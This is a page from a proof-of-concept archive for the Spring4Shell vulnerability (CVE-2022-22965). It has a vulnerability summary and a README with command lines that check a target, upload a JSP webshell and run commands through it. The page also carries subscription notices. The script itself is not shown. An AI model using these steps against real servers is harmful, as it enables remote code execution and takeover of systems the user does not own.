Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2022-22965 PoC — Spring Framework 代码注入漏洞

Source
Associated Vulnerability
Title:Spring Framework 代码注入漏洞 (CVE-2022-22965)
Description:A Spring MVC or Spring WebFlux application running on JDK 9+ may be vulnerable to remote code execution (RCE) via data binding. The specific exploit requires the application to run on Tomcat as a WAR deployment. If the application is deployed as a Spring Boot executable jar, i.e. the default, it is not vulnerable to the exploit. However, the nature of the vulnerability is more general, and there may be other ways to exploit it.
Readme
Simple Spring4Shell POC 
-----------------------

* Check if endpoint is vulnerable 

`python spring4shell.py -u http://192.168.110.117:8080/helloworld/greeting --check`

* Exploit vulnerable endpoint

`python spring4shell.py -u http://192.168.110.117:8080/helloworld/greeting -f shell.jsp --exploit`

* Execute command on uploaded webshell

`python spring4shell.py -u http://192.168.110.117:8080/shell.jsp --cmd id`

![WebPage](spring4shell.png?raw=true)

File Snapshot

[4.0K] /data/pocs/46aab9fe4d623ddbe6f7c43550bf6c51526c529b ├── [ 474] README.md ├── [ 11K] spring4shell.png └── [4.7K] spring4shell.py 0 directories, 3 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →